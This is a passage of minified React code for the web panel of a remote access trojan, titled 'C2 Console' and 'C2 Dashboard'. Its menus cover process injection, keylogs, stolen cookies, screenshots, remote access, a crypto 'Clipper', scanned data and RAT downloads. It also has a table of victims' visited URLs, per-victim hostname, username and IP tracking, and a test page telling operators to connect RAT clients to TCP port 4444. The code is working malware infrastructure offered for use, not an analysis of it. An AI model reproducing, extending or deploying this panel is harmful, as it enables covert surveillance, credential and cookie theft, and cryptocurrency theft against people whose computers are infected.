font-semibold text-slate-300`,children:`Window Title`}),(0,H.jsx)(`th`,{className:`px-4 py-3 text-left font-semibold text-slate-300`,children:`Client`}),(0,H.jsx)(`th`,{className:`px-4 py-3 text-left font-semibold text-slate-300`,children:`First Seen`}),(0,H.jsx)(`th`,{className:`px-4 py-3 text-left font-semibold text-slate-300`,children:`Last Seen`})]})}),(0,H.jsx)(`tbody`,{className:`divide-y divide-slate-800`,children:c?(0,H.jsx)(`tr`,{children:(0,H.jsx)(`td`,{colSpan:6,className:`px-4 py-8 text-center text-slate-400`,children:`Loading...`})}):o.length===0?(0,H.jsx)(`tr`,{children:(0,H.jsx)(`td`,{colSpan:6,className:`px-4 py-8 text-center text-slate-400`,children:f?`No URLs match your search`:`No URLs recorded`})}):o.map(e=>(0,H.jsxs)(`tr`,{className:`hover:bg-slate-800/50 transition-colors`,children:[(0,H.jsx)(`td`,{className:`px-4 py-3`,children:(0,H.jsx)(`span`,{className:`font-mono text-xs bg-slate-700 px-2 py-1 rounded text-slate-300`,children:g(e.url)})}),(0,H.jsx)(`td`,{className:`px-4 py-3`,children:(0,H.jsx)(`a`,{href:e.url.startsWith(`http`)?e.url:`https://${e.url}`,target:`_blank`,rel:`noopener noreferrer`,className:`text-blue-400 hover:text-blue-300 underline truncate max-w-xs block text-xs`,title:e.url,children:e.url})}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-400 text-xs max-w-xs truncate`,children:e.window_title||`-`}),(0,H.jsx)(`td`,{className:`px-4 py-3`,children:(0,H.jsxs)(`span`,{className:`font-mono text-xs text-slate-400`,children:[e.client_id.slice(0,8),`...`]})}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-xs text-slate-400`,children:h(e.first_seen)}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-xs text-slate-400`,children:h(e.last_seen)})]},e.id))})]})})}),i.length>0&&(0,H.jsxs)(`div`,{className:`grid grid-cols-1 md:grid-cols-3 gap-4`,children:[(0,H.jsxs)(`div`,{className:`bg-slate-800 border border-slate-700 rounded-lg p-4`,children:[(0,H.jsx)(`p`,{className:`text-slate-400 text-sm`,children:`Total URLs`}),(0,H.jsx)(`p`,{className:`text-2xl font-bold text-white mt-1`,children:i.length})]}),(0,H.jsxs)(`div`,{className:`bg-slate-800 border border-slate-700 rounded-lg p-4`,children:[(0,H.jsx)(`p`,{className:`text-slate-400 text-sm`,children:`Unique Domains`}),(0,H.jsx)(`p`,{className:`text-2xl font-bold text-white mt-1`,children:new Set(i.map(e=>g(e.url))).size})]}),(0,H.jsxs)(`div`,{className:`bg-slate-800 border border-slate-700 rounded-lg p-4`,children:[(0,H.jsx)(`p`,{className:`text-slate-400 text-sm`,children:`Showing`}),(0,H.jsx)(`p`,{className:`text-2xl font-bold text-white mt-1`,children:o.length===i.length?`All`:`${o.length}`})]})]})]})}var lo=5e3,uo=96;function fo(e){if(!e||typeof e!=`object`)return null;let t=e,n=String(t.id??t.clientId??``).trim();return n?{id:n,hostname:typeof t.hostname==`string`?t.hostname:void 0,username:typeof t.username==`string`?t.username:void 0,ip:typeof t.ip==`string`?t.ip:void 0,ip_address:typeof t.ip_address==`string`?t.ip_address:void 0,os:typeof t.os==`string`?t.os:void 0,os_version:typeof t.os_version==`string`?t.os_version:void 0,status:typeof t.status==`string`?t.status:void 0,is_online:typeof t.is_online==`number`?t.is_online:void 0,connected:typeof t.connected==`boolean`?t.connected:void 0,lastSeen:typeof t.lastSeen==`number`?t.lastSeen:void 0,last_seen:typeof t.last_seen==`number`?t.last_seen:void 0,lastSeenFormatted:typeof t.lastSeenFormatted==`string`?t.lastSeenFormatted:void 0}:null}function po(e){return Array.isArray(e)?e.map(fo).filter(e=>e!==null):[]}function mo(e){return e.is_online===1||e.connected===!0||e.status===`online`}function ho(){let{isConnected:e,send:t,subscribeAll:n}=pi(),{impersonateUserId:r,setClients:i,upsertClient:a,removeClient:o,addNotification:s,setOverloaded:c}=Ii(),l=(0,_.useRef)(new Set);(0,_.useEffect)(()=>n((e,t)=>{let n=t??e.topic??e.type;if(n===`client_list`||n===`clients`){let t=po(e.clients??e.payload??e.data);
94i(t),l.current=new Set(t.filter(mo).map(e=>e.id));return}if(n===`client_update`||n===`client_connected`){let t=fo(e.payload??e.client??e.data??e);if(t&&a(t),n===`client_connected`){let n=String(e.clientId??e.id??``).trim(),r=typeof e.hostname==`string`?e.hostname:t?.hostname??`Unknown`,i=typeof e.ip==`string`?e.ip:t?.ip??t?.ip_address??void 0;n&&l.current.add(n);let a=l.current.size;s({type:`system_overload`,message:`System Overload â ${a} PC${a===1?``:`s`} connected`,timestamp:typeof e.timestamp==`number`?e.timestamp:Date.now(),hostname:r,ip:i,cpuUsage:uo,persistent:!0})}return}if(n===`client_disconnected`||n===`client_deleted`){let t=String(e.clientId??e.id??``).trim();t&&(o(t),l.current.delete(t));return}if(n===`system_overload`){c(!0),s({type:`system_overload`,message:typeof e.message==`string`?e.message:`System overload: ${e.clientCount??9} clients connected. All clients disconnected.`,timestamp:typeof e.timestamp==`number`?e.timestamp:Date.now(),userId:String(e.userId??``)});return}if(n===`connections_resumed`){c(!1);return}n===`db_response`&&e.query===`get_clients`&&i(po(e.data))}),[n,i,a,o,s,c]),(0,_.useEffect)(()=>{if(!e)return;let n=()=>{t({type:`db_query`,query:`get_clients`,limit:500,offset:0,impersonateUserId:r??void 0})};n();let i=setInterval(n,lo);return()=>{clearInterval(i)}},[e,t,r])}function go({align:e=`left`}){let{notifications:t,markAllRead:n,clearNotifications:r}=Ii(),[i,a]=(0,_.useState)(!1),o=(0,_.useRef)(null),s=t.filter(e=>!e.read).length,c=Math.max(1,s);return(0,_.useEffect)(()=>{let e=e=>{o.current&&!o.current.contains(e.target)&&a(!1)};return document.addEventListener(`mousedown`,e),()=>document.removeEventListener(`mousedown`,e)},[]),(0,H.jsxs)(`div`,{className:`relative`,ref:o,children:[(0,H.jsxs)(`button`,{onClick:()=>{a(e=>!e),i||n()},className:`relative p-2 rounded-lg hover:bg-slate-800 transition-colors`,children:[(0,H.jsx)(dr,{className:`w-5 h-5 ${c>0?`text-amber-400`:`text-slate-400`}`}),(0,H.jsx)(`span`,{className:`absolute -top-1 -right-1 bg-red-500 text-white text-xs rounded-full w-4 h-4 flex items-center justify-center font-bold`,children:c>9?`9+`:c})]}),i&&(0,H.jsxs)(`div`,{className:`absolute top-full mt-2 w-80 bg-slate-900 border border-slate-700 rounded-lg shadow-2xl z-50 overflow-hidden ${e===`right`?`right-0`:`left-0`}`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between px-4 py-3 border-b border-slate-700`,children:[(0,H.jsx)(`span`,{className:`text-sm font-semibold text-white`,children:`Notifications`}),(0,H.jsx)(`button`,{onClick:r,className:`text-xs text-slate-400 hover:text-white transition-colors`,children:`Clear all`})]}),(0,H.jsx)(`div`,{className:`max-h-80 overflow-y-auto`,children:t.length===0?(0,H.jsx)(`p`,{className:`text-slate-500 text-sm text-center py-6`,children:`No notifications`}):t.map(e=>e.type===`system_overload`&&e.cpuUsage?(0,H.jsx)(`div`,{className:`px-4 py-3 border-b border-red-900/60 bg-red-950/40`,children:(0,H.jsxs)(`div`,{className:`flex items-start gap-2`,children:[(0,H.jsx)(_r,{className:`w-4 h-4 text-red-400 mt-0.5 shrink-0`}),(0,H.jsxs)(`div`,{className:`flex-1 min-w-0`,children:[(0,H.jsx)(`p`,{className:`text-sm font-semibold text-red-300 tracking-wide`,children:`SYSTEM OVERLOAD`}),e.hostname&&(0,H.jsxs)(`p`,{className:`text-xs text-slate-300 mt-0.5 truncate`,children:[e.hostname,e.ip?` (${e.ip})`:``,` connected â `,e.message]}),(0,H.jsxs)(`div`,{className:`flex justify-between items-center mt-1.5`,children:[(0,H.jsx)(`span`,{className:`text-xs text-slate-400`,children:`CPU Usage`}),(0,H.jsxs)(`span`,{className:`font-mono text-xs font-bold text-red-400`,children:[e.cpuUsage,`%`]})]}),(0,H.jsx)(`div`,{className:`w-full bg-slate-800 rounded-full h-1.5 overflow-hidden mt-1`,children:(0,H.jsx)(`div`,{className:`bg-gradient-to-r from-orange-500 to-red-500 h-full transition-all`,style:{width:`${Math.min(e.cpuUsage,100)}%`}})}),(0,H.jsxs)(`div`,{className:`flex items-center gap-1.5 mt-2`,children:[(0,H.jsx)(`span`,{className:`inline-block w-1.5 h-1.5 bg-red-500 rounded-full animate-pulse`}),(0,H.jsx)(`span`,{className:`text-[10px] font-semibold text-red-400 tracking-wide`,children:`CRITICAL â SYSTEM PERFORMANCE IMPACTED`})]}),(0,H.jsx)(`p`,{className:`text-xs text-slate-500 mt-1.5`,children:new Date(e.timestamp).toLocaleTimeString()})]})]})},e.id):(0,H.jsx)(`div`,{className:`px-4 py-3 border-b border-slate-800 ${e.read?``:`bg-slate-800/50`}`,children:(0,H.jsxs)(`div`,{className:`flex items-start gap-2`,children:[(0,H.jsx)(Wr,{className:`w-4 h-4 text-amber-400 mt-0.5 shrink-0`}),(0,H.jsxs)(`div`,{className:`flex-1 min-w-0`,children:[(0,H.jsx)(`p`,{className:`text-sm text-white`,children:e.message}),(0,H.jsx)(`p`,{className:`text-xs text-slate-500 mt-1`,children:new Date(e.timestamp).toLocaleTimeString()})]})]})},e.id))})]})]})}var _o=[{to:`/admin/dashboard`,label:`Dashboard`,icon:Tr},{to:`/admin/clients`,label:`Clients`,icon:kr},{to:`/admin/process-injection`,label:`Process Injection`,icon:Rr},{to:`/admin/files`,label:`Files`,icon:xr},{to:`/admin/screenshots`,label:`Screenshots`,icon:Cr},{to:`/admin/stream`,label:`Remote Access`,icon:Cr},{to:`/admin/keylogs`,label:`Keylogs`,icon:wr},{to:`/admin/cookies`,label:`Cookies`,icon:hr}
94,{to:`/admin/urls`,label:`URLs`,icon:wr},{to:`/admin/scanned-data`,label:`Scanned Data`,icon:Pr},{to:`/admin/clipper`,label:`Clipper`,icon:Xr},{to:`/admin/rat-download`,label:`RAT Download`,icon:vr},{to:`/admin/user-management`,label:`User Management`,icon:Jr},{to:`/admin/settings`,label:`Settings`,icon:Lr}];function vo({user:e,onLogout:t}){let{impersonateUserId:n,impersonateUsername:r,clearImpersonation:i}=Ii(),{send:a,isConnected:o}=pi();return ho(),(0,_.useEffect)(()=>{o&&a({type:`set_impersonation`,impersonateUserId:n??null})},[o,n,a]),e.role===`admin`?(0,H.jsxs)(`div`,{className:`grid h-screen grid-cols-1 overflow-hidden bg-slate-950 text-slate-100 lg:grid-cols-[270px_1fr]`,children:[(0,H.jsxs)(`aside`,{className:`flex min-h-0 flex-col border-b border-slate-800 bg-slate-900/70 lg:border-b-0 lg:border-r`,children:[(0,H.jsx)(`div`,{className:`border-b border-slate-800 p-4 lg:p-6`,children:(0,H.jsxs)(`div`,{className:`flex items-center gap-3`,children:[(0,H.jsx)(`div`,{className:`rounded-xl bg-brand-600/20 p-2 text-brand-500`,children:(0,H.jsx)(Rr,{className:`size-5`})}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`p`,{className:`text-xs font-semibold uppercase tracking-[0.2em] text-slate-400`,children:`C2 Console`}),(0,H.jsx)(`h1`,{className:`text-lg font-semibold text-slate-100`,children:`Management`})]})]})}),(0,H.jsx)(`nav`,{className:`min-h-0 space-y-2 overflow-y-auto p-4 lg:p-6`,children:_o.map(({to:e,label:t,icon:n})=>(0,H.jsxs)(Cn,{to:e,className:({isActive:e})=>`flex items-center gap-3 rounded-lg px-3 py-2 text-sm font-medium transition ${e?`border border-dashed border-brand-500 bg-brand-600/20 text-brand-500`:`text-slate-300 hover:bg-slate-800/80 hover:text-slate-100`}`,children:[(0,H.jsx)(n,{className:`size-4`}),t]},e))})]}),(0,H.jsxs)(`main`,{className:`flex min-w-0 min-h-0 flex-col`,children:[n&&(0,H.jsx)(`div`,{className:`mx-4 mt-4 rounded-lg border border-amber-500/40 bg-amber-900/20 px-4 py-3 text-amber-200 lg:mx-8`,children:(0,H.jsxs)(`div`,{className:`flex items-center justify-between gap-3`,children:[(0,H.jsxs)(`div`,{className:`flex items-center gap-2 text-sm font-semibold uppercase tracking-[0.14em]`,children:[(0,H.jsx)(yr,{className:`size-4`}),(0,H.jsxs)(`span`,{children:[`Viewing As: `,r||n]})]}),(0,H.jsxs)(`button`,{onClick:i,className:`inline-flex items-center gap-1 rounded border border-amber-400/50 px-2 py-1 text-xs font-semibold text-amber-100 hover:bg-amber-500/20`,children:[(0,H.jsx)(Yr,{className:`size-3.5`}),`EXIT`]})]})}),(0,H.jsxs)(`header`,{className:`flex h-16 shrink-0 items-center justify-between border-b border-slate-800 px-4 lg:px-8`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`p`,{className:`text-xs font-medium uppercase tracking-[0.16em] text-slate-500`,children:`Operations`}),(0,H.jsx)(`h2`,{className:`text-base font-semibold text-slate-100`,children:`Admin Control Plane`})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-3`,children:[(0,H.jsx)(go,{align:`right`}),(0,H.jsxs)(`div`,{className:`flex items-center gap-2 rounded-lg border border-slate-700 bg-slate-900 px-3 py-2 text-sm text-slate-200`,children:[(0,H.jsx)(pr,{className:`size-4`}),(0,H.jsx)(`span`,{children:e.username}),(0,H.jsx)(`span`,{className:`px-2 py-1 text-xs rounded ${e.role===`admin`?`bg-purple-600/20 text-purple-400`:`bg-blue-600/20 text-blue-400`}`,children:e.role})]}),(0,H.jsxs)(`button`,{onClick:()=>{a({type:`set_impersonation`,impersonateUserId:null}),i(),t()},className:`inline-flex items-center gap-2 rounded-lg border border-red-700/30 bg-red-900/20 px-3 py-2 text-sm text-red-300 hover:bg-red-900/40 hover:text-red-200 transition`,children:[(0,H.jsx)(Or,{className:`size-4`}),`Logout`]})]})]}),(0,H.jsx)(`section`,{className:`main-scrollbar min-h-0 overflow-y-auto overflow-x-hidden p-4 lg:p-8`,children:(0,H.jsx)(kt,{})})]})]}):(0,H.jsx)(Ot,{to:`/`,replace:!0})}function yo({user:e,onLogout:t}){let{clearImpersonation:n,impersonateUserId:r,isOverloaded:i,setOverloaded:a}=Ii(),{send:o}=pi();ho(),(0,_.useEffect)(()=>{e&&r&&n()},[e,r,n]);let s=()=>{o({type:`resume_connections`,userId:e?.id}),a(!1)},c=[{to:`/user/dashboard`,label:`Dashboard`,icon:Tr},{to:`/user/clients`,label:`Clients`,icon:kr},{to:`/user/history`,label:`History`,icon:Sr},{to:`/user/files`,label:`Files`,icon:xr},{to:`/user/screenshots`,label:`Screenshots`,icon:Cr},{to:`/user/stream`,label:`Remote Access`,icon:Cr},{to:`/user/keylogs`,label:`Keylogs`,icon:wr}
94,{to:`/user/urls`,label:`URLs`,icon:wr},{to:`/user/scanned-data`,label:`Scanned Data`,icon:Pr},{to:`/user/clipper`,label:`Clipper`,icon:Xr},{to:`/user/rat-download`,label:`RAT Download`,icon:vr}];return e?(0,H.jsxs)(`div`,{className:`h-screen overflow-hidden bg-slate-950 text-slate-100`,children:[(0,H.jsxs)(`div`,{className:`fixed left-0 top-0 z-50 flex h-full w-64 min-h-0 flex-col border-r border-slate-800 bg-slate-900`,children:[(0,H.jsxs)(`div`,{className:`p-6 flex items-center justify-between`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h1`,{className:`text-2xl font-bold text-white`,children:`C2 Dashboard`}),(0,H.jsx)(`p`,{className:`text-slate-400 text-sm mt-1`,children:`User Panel`})]}),(0,H.jsx)(go,{})]}),(0,H.jsx)(`div`,{className:`px-6 py-4 border-t border-slate-800`,children:(0,H.jsxs)(`div`,{className:`flex items-center gap-3`,children:[(0,H.jsx)(`div`,{className:`w-10 h-10 rounded-full bg-slate-700 flex items-center justify-center`,children:(0,H.jsx)(pr,{className:`w-6 h-6 text-slate-300`})}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`p`,{className:`font-medium text-white`,children:e.username}),(0,H.jsx)(`p`,{className:`text-xs text-slate-400 capitalize`,children:e.role})]})]})}),(0,H.jsx)(`nav`,{className:`mt-6 min-h-0 flex-1 overflow-y-auto px-4 pb-4`,children:(0,H.jsx)(`ul`,{className:`space-y-2`,children:c.map(e=>(0,H.jsx)(`li`,{children:(0,H.jsxs)(Cn,{to:e.to,className:({isActive:e})=>`flex items-center gap-3 px-4 py-3 rounded-lg transition-colors ${e?`border border-dashed border-brand-500 bg-brand-600/20 text-brand-500`:`text-slate-300 hover:bg-slate-800`}`,children:[(0,H.jsx)(e.icon,{className:`w-5 h-5`}),(0,H.jsx)(`span`,{children:e.label})]})},e.to))})}),t&&(0,H.jsx)(`div`,{className:`mt-auto border-t border-slate-800 p-4`,children:(0,H.jsxs)(`button`,{onClick:t,className:`flex items-center gap-3 w-full px-4 py-3 text-slate-300 hover:bg-slate-800 rounded-lg transition-colors`,children:[(0,H.jsx)(Or,{className:`w-5 h-5`}),(0,H.jsx)(`span`,{children:`Logout`})]})})]}),(0,H.jsxs)(`div`,{className:`main-scrollbar ml-64 h-full overflow-y-auto overflow-x-hidden`,children:[i&&(0,H.jsxs)(`div`,{className:`sticky top-0 z-40 bg-red-900/90 border-b border-red-700 px-6 py-3 flex items-center justify-between backdrop-blur`,children:[(0,H.jsxs)(`div`,{className:`flex items-center gap-3`,children:[(0,H.jsx)(Wr,{className:`w-5 h-5 text-red-300 shrink-0`}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`p`,{className:`text-red-100 font-semibold text-sm`,children:`System Overload â Connections Blocked`}),(0,H.jsx)(`p`,{className:`text-red-300 text-xs`,children:`9 clients connected simultaneously. All clients have been disconnected. New connections are blocked.`})]})]}),(0,H.jsxs)(`button`,{onClick:s,className:`flex items-center gap-2 bg-red-700 hover:bg-red-600 text-white text-xs px-3 py-2 rounded-lg transition-colors shrink-0 ml-4`,children:[(0,H.jsx)(jr,{className:`w-3 h-3`}),`Resume`]})]}),(0,H.jsx)(`div`,{className:`p-8`,children:(0,H.jsx)(kt,{})})]})]}):(0,H.jsx)(`div`,{className:`min-h-full bg-slate-950 text-slate-100`,children:(0,H.jsx)(kt,{})})}function bo({className:e=``,refreshInterval:t=3e4}){let{data:n,isLoading:r,isError:i,error:a,refetch:o}=Ea();if(_.useEffect(()=>{if(!t)return;let e=setInterval(()=>{o().catch(()=>{})},t);return()=>clearInterval(e)},[t,o]),r)return(0,H.jsxs)(`div`,{className:`border rounded-lg p-4 ${e}`,children:[(0,H.jsx)(`h3`,{className:`text-lg font-semibold mb-4`,children:`Database Statistics`}),(0,H.jsx)(`div`,{className:`space-y-3`,children:[1,2,3,4,5,6].map(e=>(0,H.jsxs)(`div`,{className:`flex items-center justify-between`,children:[(0,H.jsx)(`div`,{className:`h-4 bg-gray-200 rounded w-24 animate-pulse`}),(0,H.jsx)(`div`,{className:`h-8 bg-gray-200 rounded w-12 animate-pulse`})]},e))})]});if(i)return(0,H.jsxs)(`div`,{className:`border border-red-300 rounded-lg p-4 bg-red-50 ${e}`,children:[(0,H.jsx)(`h3`,{className:`text-lg font-semibold mb-2 text-red-800`,children:`Database Statistics`}),(0,H.jsxs)(`div`,{className:`text-red-600`,children:[`Failed to load database statistics: `,a]})]});let s=n||{totalClients:0,onlineClients:0,totalScreenshots:0,totalKeylogs:0,totalCommands:0,databaseSize:0,recentActivity:{screenshots:0,keylogs:0,commands:0}},c=e=>{if(e===0)return`0 B`;let t=1024,n=[`B`,`KB`,`MB`,`GB`],r=Math.floor(Math.log(e)/Math.log(t));return parseFloat((e/t**+r).toFixed(2))+` `+n[r]},l=e=>e>=1e6?(e/1e6).toFixed(1)+`M`:e>=1e3?(e/1e3).toFixed(1)+`K`:e.toString(),u=[{title:`Total Clients`,value:s.totalClients,description:`${s.onlineClients} online`},{title:`Screenshots`,value:s.totalScreenshots,description:`${s.recentActivity?.screenshots||0} last 24h`},{title:`Keylogs`,value:s.totalKeylogs,description:`${s.recentActivity?.keylogs||0} last 24h`},{title:`Commands`,value:s.totalCommands,description:`${s.recentActivity?.commands||0} last 24h`},{title:`Database Size`,value:c(s.databaseSize),description:`Total storage`},{title:`Activity`,value:(s.recentActivity?.screenshots||0)+(s.recentActivity?.keylogs||0)+(s.recentActivity?.commands||0),description:`Last 24h total`}];return(0,H.jsxs)(`div`,{className:`border rounded-lg p-4 ${e}`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between mb-4`,children:[(0,H.jsx)(`h3`,{className:`text-lg font-semibold`,children:`Database Statistics`}),(0,H.jsx)(U,{onClick:()=>o(),className:`text-sm text-gray-500 hover:text-gray-700 transition-colors px-2 py-1 border rounded`,title:`Refresh statistics`,isLoading:r,variant:`secondary`,size:`sm`,children:`Refresh`})]}),(0,H.jsx)(`div`,{className:`grid grid-cols-2 md:grid-cols-3 lg:grid-cols-6 gap-3`,children:u.map(e=>(0,H.jsxs)(`div`,{className:`flex flex-col items-center justify-center p-3 rounded border bg-gray-50`,children:[(0,H.jsx)(`div`,{className:`text-xl font-bold`,children:typeof e.value==`number`?l(e.value):e.value}),(0,H.jsx)(`div`,{className:`text-sm font-medium text-center`,children:e.title}),(0,H.jsx)(`div`,{className:`text-xs text-gray-500 mt-1 text-center`,children:e.description})]},e.title))}),(0,H.jsx)(`div`,{className:`mt-6 pt-6 border-t`,children:(0,H.jsxs)(`div`,{className:`grid grid-cols-1 md:grid-cols-3 gap-4`,children:[(0,H.jsxs)(`div`,{className:`text-center`,children:[(0,H.jsx)(`div`,{className:`text-sm text-gray-500`,children:`Client Status`}),(0,H.jsxs)(`div`,{className:`text-lg font-semibold`,children:[(0,H.jsx)(`span`,{className:`text-green-600`,children:s.onlineClients}),(0,H.jsx)(`span`,{className:`text-gray-400`,children:` / `}),(0,H.jsx)(`span`,{children:s.totalClients})]}),(0,H.jsx)(`div`,{className:`text-xs text-gray-500`,children:`Online / Total`})]}),(0,H.jsxs)(`div`,{className:`text-center`,children:[(0,H.jsx)(`div`,{className:`text-sm text-gray-500`,children:`Daily Activity`}),(0,H.jsx)(`div`,{className:`text-lg font-semibold`,children:l((s.recentActivity?.screenshots||0)+(s.recentActivity?.keylogs||0)+(s.recentActivity?.commands||0))}),(0,H.jsx)(`div`,{className:`text-xs text-gray-500`,children:`Events today`})]}),(0,H.jsxs)(`div`,{className:`text-center`,children:[(0,H.jsx)(`div`,{className:`text-sm text-gray-500`,children:`Storage`}),(0,H.jsx)(`div`,{className:`text-lg font-semibold`,children:c(s.databaseSize)}),(0,H.jsx)(`div`,{className:`text-xs text-gray-500`,children:`Database size`})]})]})}),(0,H.jsxs)(`div`,{className:`mt-4 text-xs text-gray-500 text-center`,children:[`Last updated: `,new Date().toLocaleTimeString()]})]})}function xo(){let{data:e,isLoading:t}=Ta(10),{data:n,isLoading:r}=Ea();return(0,H.jsx)(`div`,{className:`min-h-screen bg-gray-50 p-6`,children:(0,H.jsxs)(`div`,{className:`max-w-7xl mx-auto`,children:[(0,H.jsx)(`h1`,{className:`text-3xl font-bold text-gray-900 mb-2`,children:`Database Test Page`}),(0,H.jsx)(`p`,{className:`text-gray-600 mb-8`,children:`This page demonstrates the database features we've implemented.`}),(0,H.jsxs)(`div`,{className:`mb-8`,children:[(0,H.jsx)(`h2`,{className:`text-xl font-semibold text-gray-800 mb
94-4`,children:`Database Statistics`}),(0,H.jsx)(bo,{})]}),(0,H.jsxs)(`div`,{className:`grid grid-cols-1 lg:grid-cols-2 gap-8`,children:[(0,H.jsxs)(`div`,{className:`bg-white rounded-lg shadow p-6`,children:[(0,H.jsx)(`h2`,{className:`text-xl font-semibold text-gray-800 mb-4`,children:`Clients from Database`}),t?(0,H.jsx)(`div`,{className:`space-y-3`,children:[1,2,3].map(e=>(0,H.jsx)(`div`,{className:`h-8 bg-gray-200 rounded animate-pulse`},e))}):(0,H.jsx)(`div`,{className:`overflow-x-auto`,children:(0,H.jsxs)(`table`,{className:`min-w-full divide-y divide-gray-200`,children:[(0,H.jsx)(`thead`,{children:(0,H.jsxs)(`tr`,{children:[(0,H.jsx)(`th`,{className:`px-4 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider`,children:`ID`}),(0,H.jsx)(`th`,{className:`px-4 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider`,children:`Hostname`}),(0,H.jsx)(`th`,{className:`px-4 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider`,children:`Username`}),(0,H.jsx)(`th`,{className:`px-4 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider`,children:`Status`})]})}),(0,H.jsx)(`tbody`,{className:`divide-y divide-gray-200`,children:e&&e.length>0?e.map(e=>(0,H.jsxs)(`tr`,{children:[(0,H.jsxs)(`td`,{className:`px-4 py-3 text-sm text-gray-900 font-mono`,children:[e.id.substring(0,8),`...`]}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-sm text-gray-900`,children:e.hostname||`Unknown`}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-sm text-gray-900`,children:e.username||`Unknown`}),(0,H.jsx)(`td`,{className:`px-4 py-3`,children:(0,H.jsx)(`span`,{className:`px-2 py-1 text-xs rounded-full ${e.is_online?`bg-green-100 text-green-800`:`bg-gray-100 text-gray-800`}`,children:e.is_online?`Online`:`Offline`})})]},e.id)):(0,H.jsx)(`tr`,{children:(0,H.jsx)(`td`,{colSpan:4,className:`px-4 py-8 text-center text-gray-500`,children:`No clients found in database. Connect a RAT client to see data here.`})})})]})})]}),(0,H.jsxs)(`div`,{className:`bg-white rounded-lg shadow p-6`,children:[(0,H.jsx)(`h2`,{className:`text-xl font-semibold text-gray-800 mb-4`,children:`Raw Statistics Data`}),r?(0,H.jsx)(`div`,{className:`space-y-3`,children:[1,2,3,4].map(e=>(0,H.jsx)(`div`,{className:`h-6 bg-gray-200 rounded animate-pulse`},e))}):(0,H.jsxs)(`div`,{className:`space-y-4`,children:[(0,H.jsxs)(`div`,{className:`grid grid-cols-2 gap-4`,children:[(0,H.jsxs)(`div`,{className:`bg-gray-50 p-4 rounded`,children:[(0,H.jsx)(`div`,{className:`text-sm text-gray-500`,children:`Total Clients`}),(0,H.jsx)(`div`,{className:`text-2xl font-bold`,children:n?.totalClients||0})]}),(0,H.jsxs)(`div`,{className:`bg-gray-50 p-4 rounded`,children:[(0,H.jsx)(`div`,{className:`text-sm text-gray-500`,children:`Online Clients`}),(0,H.jsx)(`div`,{className:`text-2xl font-bold text-green-600`,children:n?.onlineClients||0})]})]}),(0,H.jsxs)(`div`,{className:`border-t pt-4`,children:[(0,H.jsx)(`h3`,{className:`font-medium text-gray-700 mb-2`,children:`Recent Activity (24h)`}),(0,H.jsxs)(`div`,{className:`grid grid-cols-3 gap-3`,children:[(0,H.jsxs)(`div`,{className:`text-center p-3 bg-blue-50 rounded`,children:[(0,H.jsx)(`div`,{className:`text-lg font-bold`,children:n?.recentActivity?.screenshots||0}),(0,H.jsx)(`div`,{className:`text-xs text-gray-600`,children:`Screenshots`})]}),(0,H.jsxs)(`div`,{className:`text-center p-3 bg-purple-50 rounded`,children:[(0,H.jsx)(`div`,{className:`text-lg font-bold`,children:n?.recentActivity?.keylogs||0}),(0,H.jsx)(`div`,{className:`text-xs text-gray-600`,children:`Keylogs`})]}),(0,H.jsxs)(`div`,{className:`text-center p-3 bg-orange-50 rounded`,children:[(0,H.jsx)(`div`,{className:`text-lg font-bold`,children:n?.recentActivity?.commands||0}),(0,H.jsx)(`div`,{className:`text-xs text-gray-600`,children:`Commands`})]})]})]}),(0,H.jsxs)(`div`,{className:`border-t pt-4`,children:[(0,H.jsx)(`h3`,{className:`font-medium text-gray-700 mb-2`,children:`Database Info`}),(0,H.jsxs)(`div`,{className:`space-y-2`,children:[(0,H.jsxs)(`div`,{className:`flex justify-between`,children:[(0,H.jsx)(`span`,{className:`text-gray-600`,children:`Database Size:`}),(0,H.jsx)(`span`,{className:`font-mono`,children:(()=>{let e=n?.databaseSize||0;if(e===0)return`0 B`;let t=1024,r=[`B`,`KB`,`MB`,`GB`],i=Math.floor(Math.log(e)/Math.log(t));return parseFloat((e/t**+i).toFixed(2))+` `+r[i]})()})]}),(0,H.jsxs)(`div`,{className:`flex justify-between`,children:[(0,H.jsx)(`span`,{className:`text-gray-600`,children:`Total Screenshots:`}),(0,H.jsx)(`span`,{className:`font-bold`,children:n?.totalScreenshots||0})]}),(0,H.jsxs)(`div`,{className:`flex justify-between`,children:[(0,H.jsx)(`span`,{className:`text-gray-600`,children:`Total Keylogs:`}),(0,H.jsx)(`span`,{className:`font-bold`,children:n?.totalKeylogs||0})]}),(0,H.jsxs)(`div`,{className:`flex justify-between`,children:[(0,H.jsx)(`span`,{className:`text-gray-600`,children:`Total Commands:`}),(0,H.jsx)(`span`,{className:`font-bold`,children:n?.totalCommands||0})]})]})]})]})]})]}),(0,H.jsxs)(`div`,{className:`mt-8 bg-blue-50 border border-blue-200 rounded-lg p-6`,children:[(0,H.jsx)(`h2`,{className:`text-lg font-semibold text-blue-800 mb-2`,children:`How to Test`}),(0,H.jsxs)(`ul`,{className:`list-disc pl-5 space-y-2 text-blue-700`,children:[(0,H.jsx)(`li`,{children:`The bridge server is running on port 8080 (WebSocket) and 4444 (TCP)`}),(0,H.jsxs)(`li`,{children:[`Database is located at: `,(0,H.jsx)(`code`,{className:`bg-blue-100 px-1 rounded`,children:`c2_data.db`})]}),(0,H.jsx)(`li`,{children:`Connect a RAT client to TCP port 4444 to populate the database`}),(0,H.jsx)(`li`,{children:`Database statistics will update automatically every 30 seconds`}),(0,H.jsx)(`li`,{children:`Click "Refresh" button on stats panel to manually update`}),(0,H.jsx)(`li`,{children:`All data is persisted in SQLite database across server restarts`})]})]}),(0,H.jsx)(`div`,{className:`mt-8`,children:(0,H.jsxs)(`div`,{className:`flex items-center 